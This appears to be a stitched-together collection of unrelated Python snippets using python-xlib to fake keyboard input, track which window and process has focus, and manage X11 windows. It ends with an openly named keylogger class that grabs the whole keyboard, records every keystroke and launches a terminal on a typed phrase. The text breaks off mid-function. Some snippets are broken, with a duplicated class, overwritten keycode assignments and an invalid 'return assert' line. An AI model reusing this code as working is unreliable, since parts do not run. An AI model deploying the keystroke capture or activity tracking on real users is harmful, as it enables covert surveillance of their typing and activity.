def start(self): self._p = Popen([ 'google-chrome', '--user-data-dir=%s' % os.path.join(os.path.dirname(__file__), self.user_dir), '--app=%s' % url, '--name=cafesys-kiosk', ]) pid = self._p.pid window = None while not window: window = _find_chrome_window() while True: display = Display() focus = display.get_input_focus().focus focus.send_event(event.KeyPress( detail=32, #95 time=X.CurrentTime, root=display, window=focus, child=X.NONE, state=0, same_screen=1, root_x=1, root_y=1, event_x=1, event_y=1, )) print 'event sent'
class FakeInputs: def __init__(self): self.display = Display() def press_mouse(self, button, x, y): pass def release_mouse(self, button, x, y): pass def move_mouse(self, x, y): fake_input(self.display, X.MotionNotify, x=x, y=y) self.display.sync() def press_key(self, key): keycode = self.display.keysym_to_keycode(key) fake_input(self.window(), X.KeyPress, keycode) self.display.sync() def release_key(self, key): keycode = self.display.keysym_to_keycode(key) fake_input(self.window(), X.KeyRelease, keycode) self.display.sync() def window(self): return self.display.get_input_focus()._data['focus']
def send_key(self, emulated_key): display = Display() root = display.screen().root shift_mask = 0 # or Xlib.X.ShiftMask window = display.get_input_focus()._data["focus"] keysym = Xlib.XK.string_to_keysym(emulated_key) keycode = display.keysym_to_keycode(keysym) Xlib.ext.xtest.fake_input(window, Xlib.X.KeyPress, keycode) event = Xlib.protocol.event.KeyPress( time=int(time.time()), root=root, window=window, same_screen=0, child=Xlib.X.NONE, root_x=0, root_y=0, event_x=0, event_y=0, state=shift_mask, detail=keycode ) window.send_event(event, propagate=True) event = Xlib.protocol.event.KeyRelease( time=int(time.time()), root=display.screen().root, window=window, same_screen=0, child=Xlib.X.NONE, root_x=0, root_y=0, event_x=0, event_y=0, state=shift_mask, detail=keycode ) window.send_event(event, propagate=True) display.sync()
def run(self): self.disable_keyboard_interrupt() display = Display() while True: try: time.sleep(self._interval) window = display.get_input_focus().focus if window.get_wm_class() is None and window.get_wm_name() is None: window = window.query_tree().parent if window: pid_value = window.get_full_property(display.intern_atom('_NET_WM_PID'),0) if pid_value: try: pid = int(pid_value.value[0]) process = psutil.Process(pid) name,exe,title = process.name,process.exe,window.get_wm_name() value = {'exe':exe,'title':title.decode('latin-1'),'time':time.time()-self._last_time} self.send_event(value) self._last_time = time.time() except: pass except AttributeError: pass
def get_focus_win(display=None): if display is None: display = parse_display_var_v3() from Xlib.display import Display display = Display(display) focus = display.get_input_focus() wf = focus._data['focus'] return wf
class ProgramIdentifier(object): def __init__(self): self.display = Display() self.pid_atom = self.display.get_atom("_NET_WM_PID") def get_active_program(self): pid = self._get_top_window_pid() realpath = self._get_pid_realpath(pid) return self._get_program_name_from_path(realpath) def _get_pid_realpath(self, pid): return os.path.realpath('/proc/' + str(pid) + '/exe') def _get_program_name_from_path(self, path): return path.split("/")[-1] def _get_top_window_pid(self): top_window = self._get_top_window() if top_window is not None: pid = self._get_window_pid(top_window) if pid is None: raise CantGetPIDOfWindowError("") return pid else: raise NoTopWindowFoundError("") def _get_top_window(self): focused_window = self.display.get_input_focus().focus if focused_window is not None and focused_window != X.NONE and focused_window != X.PointerRoot: parent = focused_window while (True): if self.pid_atom in parent.list_properties(): break query_result = parent.query_tree() root = query_result.root parent = query_result.parent if root.id == parent.id: break return parent return None def _get_window_pid(self, window): if self.pid_atom in window.list_properties(): value = window.get_full_property(self.pid_atom, X.AnyPropertyType).value if value is not None and len(value) == 1: return value[0] return None
def __init__(self, dbname, prefix): self.dbname = dbname self.prefix = prefix display = Display() focused = display.get_input_focus().focus wm_class = focused.get_wm_class() or focused.query_tree().parent.get_wm_class() self.wm_name = focused.get_wm_name() or focused.query_tree().parent.get_wm_name() self.wm_info = " ".join([s for s in wm_class]) try: self.con = sqlite3.connect(dbname) except OSError: logging.exception("DB '%s' not found" % dbname) raise
class x11_Keyboard: def __init__(self): self.display = Display() def press(self, key): if key >= 256: keycode = self.display.keysym_to_keycode(keymap[key]) keycode = self.display.keysym_to_keycode(key) fake_input(self.window(), X.KeyPress, keycode) self.display.sync() def release(self, key): if key >= 256: keycode = self.display.keysym_to_keycode(keymap[key]) keycode = self.display.keysym_to_keycode(key) fake_input(self.window(), X.KeyRelease, keycode) self.display.sync() def window(self): return self.display.get_input_focus()._data["focus"]
class x11_Keyboard: def __init__(self): self.display = Display() def press(self, key): if key >= 256: keycode = self.display.keysym_to_keycode(keymap[key]) keycode = self.display.keysym_to_keycode(key) fake_input(self.window(), X.KeyPress, keycode) self.display.sync() def release(self, key): if key >= 256: keycode = self.display.keysym_to_keycode(keymap[key]) keycode = self.display.keysym_to_keycode(key) fake_input(self.window(), X.KeyRelease, keycode) self.display.sync() def window(self): return self.display.get_input_focus()._data['focus']
class XInputSendContext(object): """ This class manages a connection to the X-Server and allows to send key events. """ def __init__(self): # open a connection to the x server self.display = Display() # get the root window of the default screen self.root = self.display.screen().root def send_key_event(self, key_code, key_down): """ Sends a key event to the focused window using python-xlibs send_input method. :param key_code: Integer code of the key event that should be sent :param key_down: True = key press event, False = key release event """ # get the window that has the input focus focus_window = self.display.get_input_focus().focus # select the right event class depending on key_down event_class = KeyPress if key_down else KeyRelease # create event event = event_class(time=X.CurrentTime, root=self.root, window=focus_window, same_screen=0, child=0, root_x=0, root_y=0, event_x=0, event_y=0, state=0, detail=key_code) # send event to the window that has the input focus focus_window.send_event(event) def close(self): """ Closes the connection to the x server """ self.display.close()
class Keyboard(KeyboardMeta): """ The PyKeyboard implementation for X11 systems (mostly linux). This allows one to simulate keyboard input. """ def __init__(self, display=None): PyKeyboardMeta.__init__(self) self.display = Display(display) self.root = self.display.screen().root XK.load_keysym_group('xkb') altList = self.display.keysym_to_keycodes(XK.XK_ISO_Level3_Shift) self.__usable_modifiers = (0, 1) for code, offset in altList: if code == 108 and offset == 0: self.__usable_modifiers += (4, 5) break mapping = self.display.get_modifier_mapping() self.modmasks = {} for keyname in MODIFIERS: keysym = XK.string_to_keysym(keyname) keycodes = self.display.keysym_to_keycodes(keysym) found = False for keycode, lvl in keycodes: for index, mask in MASK_INDEXES: if keycode in mapping[index]: self.modmasks[keycode] = mask found = True if found: break self.flags = { 'Shift': X.ShiftMask, 'Lock': X.LockMask, 'Ctrl': X.ControlMask, 'Alt': 0, 'AltGr': self.modmasks[altList[0][0]], 'Hankaku': 0} self.special_key_assignment() def __findUsableKeycode(self, keycodes): for code, mask in keycodes: if mask in self.__usable_modifiers: return code, mask return None, None def press_key(self, character='', modifier=0): """ Press a given character key. Also works with character keycodes as integers, but not keysyms. """ window = self.display.get_input_focus().focus char_val, char_mask = self.lookup_character_value(character) if char_val == None or char_mask == None: return False char_mask ^= modifier print character, char_mask, modifier event = protocol.event.KeyPress( detail = char_val, time = X.CurrentTime, root = self.root, window = window, child = X.NONE, root_x = 0, root_y = 0, event_x = 0, event_y = 0, state = char_mask, same_screen = 0) window.send_event(event) self.display.sync() def release_key(self, character='', modifier=0): """ Release a given character key. Also works with character keycodes as integers, but not keysyms. """ window = self.display.get_input_focus().focus char_val, char_mask = self.lookup_character_value(character) if char_val == None or char_mask == None: return False char_mask ^= modifier event = protocol.event.KeyRelease( detail = char_val, time = X.CurrentTime, root = self.root, window = window, child = X.NONE, root_x = 0, root_y = 0, event_x = 0, event_y = 0, state = char_mask, same_screen = 0) window.send_event(event) self.display.sync() def special_key_assignment(self): """ Determines the keycodes for common special keys on the keyboard. These are integer values and can be passed to the other key methods. Generally speaking, these are non-printable codes. """ #This set of keys compiled using the X11 keysymdef.h file as reference #They comprise a relatively universal set of keys, though there may be #exceptions which may come up for other OSes and vendors. Countless #special cases exist which are not handled here, but may be extended. #TTY Function Keys self.backspace_key = self.lookup_character_value('BackSpace')[0] self.tab_key = self.lookup_character_value('Tab')[0] self.linefeed_key = self.lookup_character_value('Linefeed')[0] self.clear_key = self.lookup_character_value('Clear')[0] self.return_key = self.lookup_character_value('Return')[0] self.enter_key = self.return_key # Because many keyboards call it "Enter" self.pause_key = self.lookup_character_value('Pause')[0] self.scroll_lock_key = self.lookup_character_value('Scroll_Lock')[0] self.sys_req_key = self.lookup_character_value('Sys_Req')[0] self.escape_key = self.lookup_character_value('Escape')[0] self.delete_key = self.lookup_character_value('Delete')[0] #Modifier Keys self.shift_l_key = self.lookup_character_value('Shift_L')[0] self.shift_r_key = self.lookup_character_value('Shift_R')[0] self.shift_key = self.shift_l_key # Default Shift is left Shift self.alt_l_key = self.lookup_character_value('Alt_L')[0] self.alt_r_key = self.lookup_character_value('Alt_R')[0] self.alt_key = self.alt_l_key # Default Alt is left Alt self.alt_gr_key = self.lookup_character_value('ISO_Level3_Shift')[0] self.control_l_key = self.lookup_character_value('Control_L')[0] self.control_r_key = self.lookup_character_value('Control_R')[0] self.control_key = self.control_l_key # Default Ctrl is left Ctrl self.caps_lock_key = self.lookup_character_value('Caps_Lock')[0] self.capital_key = self.caps_lock_key # Some may know it as Capital self.shift_lock_key = self.lookup_character_value('Shift_Lock')[0] self.meta_l_key = self.lookup_character_value('Meta_L')[0] self.meta_r_key = self.lookup_character_value('Meta_R')[0] self.super_l_key = self.lookup_character_value('Super_L')[0] self.windows_l_key = self.super_l_key # Cross-support; also it's printed there self.super_r_key = self.lookup_character_value('Super_R')[0] self.windows_r_key = self.super_r_key # Cross-support; also it's printed there self.hyper_l_key = self.lookup_character_value('Hyper_L')[0] self.hyper_r_key = self.lookup_character_value('Hyper_R')[0] #Cursor Control and Motion self.home_key = self.lookup_character_value('Home')[0] self.up_key = self.lookup_character_value('Up')[0] self.down_key = self.lookup_character_value('Down')[0] self.left_key = self.lookup_character_value('Left')[0] self.right_key = self.lookup_character_value('Right')[0] self.end_key = self.lookup_character_value('End')[0] self.begin_key = self.lookup_character_value('Begin')[0] self.page_up_key = self.lookup_character_value('Page_Up')[0] self.page_down_key = self.lookup_character_value('Page_Down')[0] self.prior_key = self.lookup_character_value('Prior')[0] self.next_key = self.lookup_character_value('Next')[0] #Misc Functions self.select_key = self.lookup_character_value('Select')[0] self.print_key = self.lookup_character_value('Print')[0] self.print_screen_key = self.print_key # Seems to be the same thing self.snapshot_key = self.print_key # Another name for printscreen self.execute_key = self.lookup_character_value('Execute')[0] self.insert_key = self.lookup_character_value('Insert')[0] self.undo_key = self.lookup_character_value('Undo')[0] self.redo_key = self.lookup_character_value('Redo')[0] self.menu_key = self.lookup_character_value('Menu')[0] self.apps_key = self.menu_key # Windows... self.find_key = self.lookup_character_value('Find')[0] self.cancel_key = self.lookup_character_value('Cancel')[0] self.help_key = self.lookup_character_value('Help')[0] self.break_key = self.lookup_character_value('Break')[0] self.mode_switch_key = self.lookup_character_value('Mode_switch')[0] self.script_switch_key = self.lookup_character_value('script_switch')[0] self.num_lock_key = self.lookup_character_value('Num_Lock')[0] #Keypad Keys: Dictionary structure keypad = ['Space', 'Tab', 'Enter', 'F1', 'F2', 'F3', 'F4', 'Home', 'Left', 'Up', 'Right', 'Down', 'Prior', 'Page_Up', 'Next', 'Page_Down', 'End', 'Begin', 'Insert', 'Delete', 'Equal', 'Multiply', 'Add', 'Separator', 'Subtract', 'Decimal', 'Divide', 0, 1, 2, 3, 4, 5, 6, 7, 8, 9] self.keypad_keys = {k: self.lookup_character_value('KP_'+str(k)[0]) for k in keypad} self.numpad_keys = self.keypad_keys #Function Keys/ Auxilliary Keys #FKeys self.function_keys = [None] + [self.lookup_character_value('F'+str(i)[0]) for i in xrange(1,36)] #LKeys self.l_keys = [None] + [self.lookup_character_value('L'+str(i)[0]) for i in xrange(1,11)] #RKeys self.r_keys = [None] + [self.lookup_character_value('R'+str(i)[0]) for i in xrange(1,16)] #Unsupported keys from windows self.kana_key = None self.hangeul_key = None # old name - should be here for compatibility self.hangul_key = None self.junjua_key = None self.final_key = None self.hanja_key = None self.kanji_key = None self.convert_key = None self.nonconvert_key = None self.accept_key = None self.modechange_key = None self.sleep_key = None def lookup_character_value(self, character): """ Looks up the keysym for the character then returns the keycode mapping and modifier for that keysym. """ ch_keysym = XK.string_to_keysym(character) ch_mask = 0 if ch_keysym == 0: if character in SPECIAL_X_KEYSYMS: ch_keysym = XK.string_to_keysym(SPECIAL_X_KEYSYMS[character]) elif len(character) == 1: ch_keysym = ord(character) ch_keycodes = self.display.keysym_to_keycodes(ch_keysym) if len(ch_keycodes) == 0 and len(character) == 1: ch_keycodes = self.display.keysym_to_keycodes(ord(character.lower())) ch_mask ^= X.LockMask if len(ch_keycodes) > 0: ch_keycode, mask = self.__findUsableKeycode(ch_keycodes) if ch_keycode == None or mask == None: return None, None else: ch_mask ^= mask else: return None, None if ch_mask ^ 4 < 4: ch_mask ^= 4 ch_mask ^= self.modmasks[self.alt_gr_key] return ch_keycode, ch_mask
class KnoX: Geometry = namedtuple("Geometry", "x y width height") FrameExtents = namedtuple("FrameExtents", "left right top bottom") def __init__(self): #self.display = Display(os.environ.get("DISPLAY", ":0.0")) self.display = Display() print("Connected to X DISPLAY %r" % self.display.get_display_name()) self.display.set_error_handler(self.knox_error_handler) self.screen = self.display.screen() self.root = self.screen.root self.atoms = dict() self.atom_names = dict() self.keysyms = Keysyms() self.modifiers = Modifiers(self) self._supported_properties = None self._acceptable_error_sequence = 0 self._acceptable_errors = dict() self._silenced_errors = set() def fileno(self): """This function is here to make select work with this object""" return self.display.fileno() @contextmanager def silenced_error(self, error): silencer = self.silence_error(error) try: yield silencer finally: self.remove_silencer(silencer) def silence_error(self, error): k = self._acceptable_error_sequence self._acceptable_errors[k] = error self._acceptable_error_sequence += 1 self._silenced_errors = set(self._acceptable_errors.values()) return k def remove_silencer(self, key): if key in self._acceptable_errors: del self._acceptable_errors[key] self._silenced_errors = set(self._acceptable_errors.values()) def knox_error_handler(self, err, *args): if type(err) not in self._silenced_errors: print("X protocol error: %s" % err) traceback.print_stack() # def wait_for_event(self, timeout_seconds): # """ Wait up to `timeout_seconds` seconds for an event to be queued. # Return True, if a xevent is available. # Return False, if the timeout was reached. # from https://gist.github.com/fphammerle/d81ca3ff0a169f062a9f28e57b18f04d""" # rlist = select.select( # [self.display], # rlist # [], # wlist # [], # xlist # timeout_seconds, # timeout [seconds] # )[0] # return len(rlist) > 0 def next_event(self, wait=True): if (wait or self.display.pending_events()): return self.display.next_event() else: return None # def next_event(self, event_loop): # event_loop.register_reader(self.display, def atom(self, name, only_if_exists=False): if isinstance(name, int): a = name elif name not in self.atoms: a = self.display.get_atom(name, only_if_exists=only_if_exists) self.atoms[name] = a else: a = self.atoms[name] return a def atom_name(self, atom): if atom in self.atom_names: return self.atom_names[atom] name = self.display.get_atom_name(atom) if name: self.atom_names[atom] = name if name not in self.atoms: self.atoms[name] = atom return name def get_prop(self, window, name): prop_name = self.atom(name, only_if_exists=True) if not prop_name: return None if isinstance(window, int): window = self.get_window(window) p = window.get_full_property(prop_name, X.AnyPropertyType) if p: return p.value def get_text_prop(self, window, name): prop_name = self.atom(name, only_if_exists=True) if not prop_name: return None s = window.get_full_text_property(prop_name, Xatom.STRING) if not s: t = self.atom("UTF8_STRING", only_if_exists=True) if t: s = window.get_full_text_property(prop_name, t) return s def onerror(self, *args, **kwargs): print("ERROR: something bad happened about %r and %r" % (args, kwargs)) raise Exception("Error is bad...") def set_prop(self, window, name, type_name, value): if isinstance(window, int): window = self.get_window(window) if isinstance(type_name, int): prop_type_name = type_name #type_name = self.atom_name(prop_type_name) else: prop_type_name = self.atom(type_name, only_if_exists=False) prop_name = self.atom(name, only_if_exists=False) if value is None: window.delete_property(prop_name) else: window.change_property(prop_name, prop_type_name, 32, value, mode=X.PropModeReplace, onerror=self.onerror) def send_prop_change_event( self, property_name, data, target=None, window=None, ): if target is None: target = self.root if window is None: window = target ev = protocol.event.ClientMessage(window=window, client_type=self.atom(property_name), data=data) target.send_event(ev, event_mask=X.SubstructureNotifyMask | X.SubstructureRedirectMask, propagate=False, onerror=self.onerror) def current_desktop(self, desktop=None, wait=True): prop_name = "_NET_CURRENT_DESKTOP" if desktop is None: pv = self.get_prop(self.root, prop_name) if pv: return pv[0] else: v = array('I', [desktop]) #self.set_prop(self.root, prop_name, Xatom.CARDINAL, v) self.send_prop_change_event( prop_name, (32, [desktop, X.CurrentTime, 0, 0, 0])) self.flush() w = Waiter(wait) while w.wait(): print("DESKTOPCHECK", hex(desktop)) if self.current_desktop() == desktop: print("DESKTOP OK") break def get_wm_pid(self, window): pid_prop = self.get_prop(window, "_NET_WM_PID") if pid_prop: return pid_prop[0] return None def get_wm_name(self, window): if isinstance(window, int): window = self.get_window(window) # window.get_wm_name gets only STRING property and returns nothing # if it's UTF8_STRING return self.get_text_prop(window, Xatom.WM_NAME) def active_window(self, window=None, wait=3, id_only=False): prop_name = "_NET_ACTIVE_WINDOW" if window is None: pv = self.get_prop(self.root, prop_name) if pv and pv[0]: window = self.get_window(pv[0]) if window and window.get_wm_name() != 'Desktop': if id_only: return window.id else: return window else: if isinstance(window, int): window = self.get_window(window) desktop = self.get_desktop_for_window(window) self.current_desktop(desktop) #v = array('I', [ window.id, 0 ]) #self.set_prop(self.root, prop_name, Xatom.WINDOW, v) # data[0]: source indication # 1: when the request comes from an application # 2: from a pager # 0: no spec. self.send_prop_change_event(prop_name, (32, [2, X.CurrentTime, 0, 0, 0]), window=window) self.flush() #self.raise_window(window) # it won't become active until it's focused focused = self.set_focused_window(window, wait=1) w = Waiter(wait) while w.wait(): a = self.active_window() self.flush() if not focused: focused = self.set_focused_window(window, wait=1) self.flush() if a and a.id == window.id: print("Activated %r!" % window.id) return True self.send_prop_change_event(prop_name, (32, [2, X.CurrentTime, 0, 0, 0]), window=window) self.flush() print("Can't activate %d" % window.id) return False def get_focused_window(self, toplevel=True): f = self.display.get_input_focus() #f = protocol.request.GetInputFocus(display=self.display.display) if f.focus in [X.NONE, X.PointerRoot]: return None if toplevel: w = self.get_client_window(f.focus) if w is not None: return w.id return f.focus.id def raise_window(self, window): if isinstance(window, int): window = self.get_window(window) elif window is None: return window.raise_window() def focus_error(self, *args, **kwargs): print("Cannot set_input_focus: %r %r" % (args, kwargs)) def set_focused_window(self, window, wait=3): if window is None: self.display.set_input_focus(X.NONE, X.RevertToParent, X.CurrentTime, onerror=self.focus_error) return True elif not wait: self.display.set_input_focus(window, X.RevertToParent, X.CurrentTime) return True else: with self.silenced_error(error.BadMatch): if isinstance(window, int): window = self.get_window(window) self.display.set_input_focus(window, X.RevertToParent, X.CurrentTime) self.flush() w = Waiter(wait) while w.wait(): if w.timeout: if w.progressed: print("WAITING %.3f seconds more for focus on %r" % (w.remaining, window.id)) else: print( "READY TO WAIT %.3f seconds for focus on %r" % (w.remaining, window.id)) focused_win_id = self.get_focused_window() if focused_win_id == window.id: print("FOCUSED %r" % window.id) return True # many times it's needed to repeat the command, esp. when mouse is # not inside the target window self.display.set_input_focus(window, X.RevertToParent, X.CurrentTime) self.flush() #self.display.set_input_focus(window, X.RevertToParent, X.CurrentTime) #self.display.flush() return False def get_desktop_for_window(self, window): pv = self.get_prop(window, "_NET_WM_DESKTOP") if pv: return pv[0] def set_desktop_for_window(self, window, desktop): if desktop is None: return name = self.atom("_NET_WM_DESKTOP", only_if_exists=True) if name in self.supported_properties: pv = self.set_prop(window, name, Xatom.CARDINAL, array('I', [desktop])) def save_state(self): state = { "Current Desktop": self.current_desktop(), "Active Window": self.active_window(id_only=True), "Focused Window": self.get_focused_window() } return state def restore_state(self, state): a = self.supported_properties self.current_desktop(state["Current Desktop"]) self.flush() try: self.set_focused_window(state["Focused Window"]) except error.BadWindow: print("Sorry, the old focused window went away...") # self.active_window(state["Active Window"]) def keysym_to_string(self, keysym, friendly=False, very_friendly=False): if keysym not in self.keysyms.keysyms: return chr(keysym) if very_friendly: return self.keysyms.friendly_name(keysym, simplest=True) if friendly: return self.keysyms.friendly_name(keysym, simplest=False) else: return self.keysyms[keysym] def keycode_to_keysym(self, keycode, idx=None): if idx is None: syms = set() for i in range(4): keysym = self.display.keycode_to_keysym(keycode, i) if keysym: syms.add(keysym) return syms else: return self.display.keycode_to_keysym(event.detail, i) def keysym_to_keycode(self, keysym): return self.display.keysym_to_keycode(keysym) def string_to_keysym(self, s): k = self.keysyms[s] if not k: k = self.keysyms["XK_" + s] if k: return k k = XK.string_to_keysym(s) return k # allow simpler names, like AudioRaiseVolume? # if s.startswith("XF86_"): # s = "XF86" + s[5:] # return XK.string_to_keysym(s) def error_handler(self, fn, *args, **kwargs): return functools.partial(fn, *args, **kwargs) def toggle_frame(self, window, frame=None, wait=1): """Set window frame. Value should be True or False for on and off, or None for toggle.""" # flags - set bit for every iteresting value # 0 functions => integer bits # 1 decorations => integer bits # 2 input_mode => enum string or integer # 3 status => integer bits # # functions: # bit actions offered # --- --------------- # 1 all functions # 2 resize window # 4 move window # 8 minimize, to iconify # 16 maximize, to full-screen (with a frame still) # 32 close window # # decorations: # bit decorations displayed # --- --------------------- # 1 all decorations # 2 border around the window # 4 resizeh, handles to resize by dragging # 8 title bar, showing WM_NAME # 16 menu, drop-down menu of the "functions" above # 32 minimize button, to iconify # 64 maximize button, to full-screen # # input mode: # string integer # "modeless" 0 not modal (the default) # "primary_application_modal" 1 modal to its "transient for" # "system_modal" 2 modal to the whole display # "full_application_modal" 3 modal to the current client # # status: # # bit # 1 tearoff menu window name = self.atom("_MOTIF_WM_HINTS", only_if_exists=True) # If does not exist, probably not supported, though should check # root for _NET_SUPPORTED list return assert prop != 0 pv = pv = self.get_prop(window, name) fe = self.get_frame_extents(window) if pv and len(pv) == 5: hints = array(pv.typecode, pv) if frame is None: hints[2] = 0 if hints[2] else 1 elif frame: hints[2] = 1 else: hints[2] = 0 else: # reasonable default hints = array('I', [2, 0, 0, 0, 0]) self.set_prop(window, name, name, hints) w = Waiter(wait) while w.wait(): pv = self.get_prop(window, name) if pv and array(pv.typecode, pv) == hints: new_fe = self.get_frame_extents(window) # make sure frame extents changed # this seems to take a while once the hints change if new_fe != fe: break def set_opacity(self, window, value): """value is a number between 0 and 1""" v = int(((1 << 32) - 1) * value) self.set_prop(window, "_NET_WM_WINDOW_OPACITY", Xatom.CARDINAL, array('I', [v])) def get_opacity(self, window): pv = self.get_prop(window, "_NET_WM_WINDOW_OPACITY") if pv: value = int(pv[0] / ((1 << 32) - 1)) return value return 1 @property def supported_properties(self): if self._supported_properties is None: self._supported_properties = self.get_prop(self.root, "_NET_SUPPORTED") or [] return self._supported_properties def get_window(self, win_id): if isinstance(win_id, int): return self.display.create_resource_object('window', win_id) else: return win_id def get_client_window(self, window): win_id = window.id for tlw in self.toplevel_windows(): for (_, parent, _) in self.window_tree( tlw, filter=lambda w, parent, level: w.id == win_id): return tlw return None def toplevel_windows(self, id_only=False): name = self.atom("_NET_CLIENT_LIST", only_if_exists=True) if name in self.supported_properties: lst = self.get_prop(self.root, name) if id_only: return lst else: return list(map(lambda win_id: self.get_window(win_id), lst)) else: print("BELGENGOC") if id_only: return list( map(lambda w: w.id, self.root.query_tree().children)) else: return list(self.root.query_tree().children) def window_tree(self, parent=None, level=1, filter=None): if parent is None: parent = self.root if filter is None or filter(parent, None, 0): yield (parent, None, 0) for w in parent.query_tree().children: if filter is None or filter(w, parent, level): yield (w, parent, level) yield from self.window_tree(parent=w, level=level + 1, filter=filter) def close_window(self, window): self.send_prop_change_event("_NET_CLOSE_WINDOW", (32, [0, 0, 0, 0, 0]), window=self.get_window(window)) # https://specifications.freedesktop.org/wm-spec/wm-spec-1.3.html # window = the respective client window # message_type = _NET_WM_STATE # format = 32 # data.l[0] = the action, as listed below # data.l[1] = first property to alter # data.l[2] = second property to alter # data.l[3] = source indication # other data.l[] elements = 0 # This message allows two prop # _NET_WM_STATE_REMOVE = 0 # remove/unset property _NET_WM_STATE_ADD = 1 #add/set property _NET_WM_STATE_TOGGLE = 2 # toggle property def set_wm_states(self, window, names, action=None): if action is None: action = self._NET_WM_STATE_TOGGLE elif action is True: action = self._NET_WM_STATE_ADD elif action is False: action = self._NET_WM_STATE_REMOVE window = self.get_window(window) values = list() for name in names: value = self.atom("_NET_WM_STATE_%s" % name.upper()) values.append(value) data = [action, *values] while len(data) < 5: data.append(0) self.send_prop_change_event("_NET_WM_STATE", (32, data), window=self.get_window(window)) def set_wm_state(self, window, name, action=None): if action is None: action = self._NET_WM_STATE_TOGGLE elif action is True: action = self._NET_WM_STATE_ADD elif action is False: action = self._NET_WM_STATE_REMOVE window = self.get_window(window) value = self.atom("_NET_WM_STATE_%s" % name.upper()) self.send_prop_change_event("_NET_WM_STATE", (32, [action, value, 0, 0, 0]), window=self.get_window(window)) def below_window(self, window, action=None): self.set_wm_state(window, name="below", action=action) def fullscreen_window(self, window, action=None): self.set_wm_state(window, name="fullscreen", action=action) def above_window(self, window, action=None): self.set_wm_state(window, name="above", action=action) def sticky_window(self, window, action=None): self.set_wm_state(window, name="sticky", action=action) def skip_pager(self, window, action=None): self.set_wm_state(window, name="skip_pager", action=action) def skip_taskbar(self, window, action=None): self.set_wm_state(window, name="skip_taskbar", action=action) def maximize_window(self, window, horizontal=True, vertical=True, action=None): if horizontal: self.set_wm_state(window, name="maximized_horz", action=action) if vertical: self.set_wm_state(window, name="maximized_vert", action=action) def minimize_window(self, window): if isinstance(window, int): window = self.get_window(window) self.send_prop_change_event("WM_CHANGE_STATE", (32, [Xutil.IconicState, 0, 0, 0, 0]), window=self.get_window(window)) def get_attributes(self, window): if isinstance(window, int): window = self.get_window(window) return window.get_attributes() def get_window_type(self, window): e = self.get_prop(window, "_NET_WM_WINDOW_TYPE") if e is None: return None type_details = set() prefix = "_NET_WM_WINDOW_TYPE_" for t in e: if not t: continue s = self.atom_name(t) if s.startswith(prefix): s = s[len(prefix):] type_details.add(s) return type_details def get_frame_extents(self, window): # x, y, width, height if isinstance(window, int): window = self.get_window(window) e = self.get_prop(window, "_NET_FRAME_EXTENTS") if e: return self.FrameExtents(*e) else: return self.FrameExtents(0, 0, 0, 0) def get_geometry(self, window): # x, y, width, height if isinstance(window, int): window = self.get_window(window) return window.get_geometry() def set_geometry(self, window, **data): # x, y, width, height if isinstance(window, int): window = self.get_window(window) if any(map(lambda v: v < 0, data.values())): gw = self.get_geometry(window) f = self.get_frame_extents(window) wa = self.usable_workarea() if 'x' in data and data['x'] < 0: data['x'] = wa.width - gw.width - (f.left + f.right) + data['x'] + 1 else: data['x'] += wa.x if 'y' in data and data['y'] < 0: data['y'] = wa.height - gw.height - (f.top + f.bottom) + data['y'] + 1 else: data['y'] += wa.y window.configure(**data) def usable_workarea(self): a = self.get_prop(self.root, "_NET_WORKAREA") if a: p = self.current_desktop() * 4 #return (x, y, width, height) return self.Geometry(*a[p:p + 4]) else: r = self.get_geometry(self.root) return self.Geometry(0, 0, r.width, r.height) def send_key(self, window, keysym, modifiers): if isinstance(window, int): window = self.get_window(window) keycode = self.display.keysym_to_keycode(keysym) event = protocol.event.KeyPress(time=X.CurrentTime, root=self.root, window=window, child=X.NONE, same_screen=True, root_x=0, root_y=0, event_x=0, event_y=0, state=modifiers.bitmap, detail=keycode) window.send_event(event, propagate=False) event = protocol.event.KeyRelease( time=X.CurrentTime, root=self.root, window=window, child=X.NONE, same_screen=True, # same screen as the root window root_x=0, root_y=0, event_x=0, event_y=0, state=modifiers.bitmap, detail=keycode) window.send_event(event, propagate=False) def show_desktop(self, action=None): prop_name = self.atom("_NET_SHOWING_DESKTOP") if action is True: self.send_prop_change_event(prop_name, (32, [1, X.CurrentTime, 0, 0, 0])) elif action is False: self.send_prop_change_event(prop_name, (32, [0, X.CurrentTime, 0, 0, 0])) else: pv = self.get_prop(self.root, prop_name) new_val = 0 if pv and pv[0] else 1 self.send_prop_change_event( prop_name, (32, [new_val, X.CurrentTime, 0, 0, 0])) def flush(self): # send all pending events self.display.flush() def sync(self): # flush and make sure everything is handled and processed or rejected by the server self.display.sync() @property def display_count(self): res = randr.get_screen_resources(self.root) n = 0 for i in res.outputs: o = randr.get_output_info(self.root, i, config_timestamp=0) if o.modes: # has modes, empty if there's no monitor connected here n += 1 return n
class LinuxKeyLogger(threading.Thread): """ This implementation of the keylogger is designed to work on linux based systems. WILL NOT FUNCTION ON OTHER OPERATING SYSTEMS. """ def __init__(self): """ Constructs the logger and its internal objects """ super().__init__() self.display = Display() self.root = self.display.screen().root self.capturedKeys = [] self.windowKeys = [] self.capture = True def run(self): """ Starts the logging process """ self.log() def log(self): """ Sets up the root window to capture the keys being typed in. """ self.root.change_attributes(event_mask=X.KeyPressMask | X.KeyReleaseMask) self.root.grab_keyboard(0, X.GrabModeAsync, X.GrabModeAsync, X.CurrentTime) try: while self.capture: event = self.display.next_event() self.handleEvent(event) self.display.allow_events(X.AsyncKeyboard, X.CurrentTime) except Exception as e: print(e) def handleEvent(self, event): """ The Xlib library will produce events when a key is pressed this method will analyze those events and extract the pertainent information along with passing that information further down the line to be processed by the operating system. :param event: :return: None """ if (event.type == X.KeyRelease): char = Xlib.XK.keysym_to_string( self.display.keycode_to_keysym(event.detail, event.state)) if char is not None: self.capturedKeys.append(char) self.windowKeys.append(char) self.send_key(event.detail, event.state) self.phrase_check() # self.send_keyup(event.detail, event.state) elif (event.type == X.KeyPress): pass # try: # self.send_keydown(event.detail, event.status) # except AttributeError as ae: # print(ae) # window = self.display.get_input_focus()._data["focus"] # window.send_event(event,propagate=True) def phrase_check(self): """ This method will check to see if the typed in keys correspond to any of the preset phrases that have associated executions. :return: """ # will need to create a smarter way of doing this stop = self.checkPhrase(self.getStopPhrase()) if (stop): self.capture = False openT = self.checkPhrase(self.getTerminalPhrase()) if (openT): self.openterminal() # ensure window size is maintained maxLength = max(len(self.getStopPhrase()), len(self.getTerminalPhrase())) if len(self.windowKeys) > maxLength: self.windowKeys = self.windowKeys[len(self.windowKeys) - maxLength:] def checkPhrase(self, phrase): """ Checks whether a phrase matches the most recently typed in keys. """ length = len(phrase) capLength = len(self.windowKeys) if (capLength >= length): section = self.windowKeys[capLength - length:capLength] 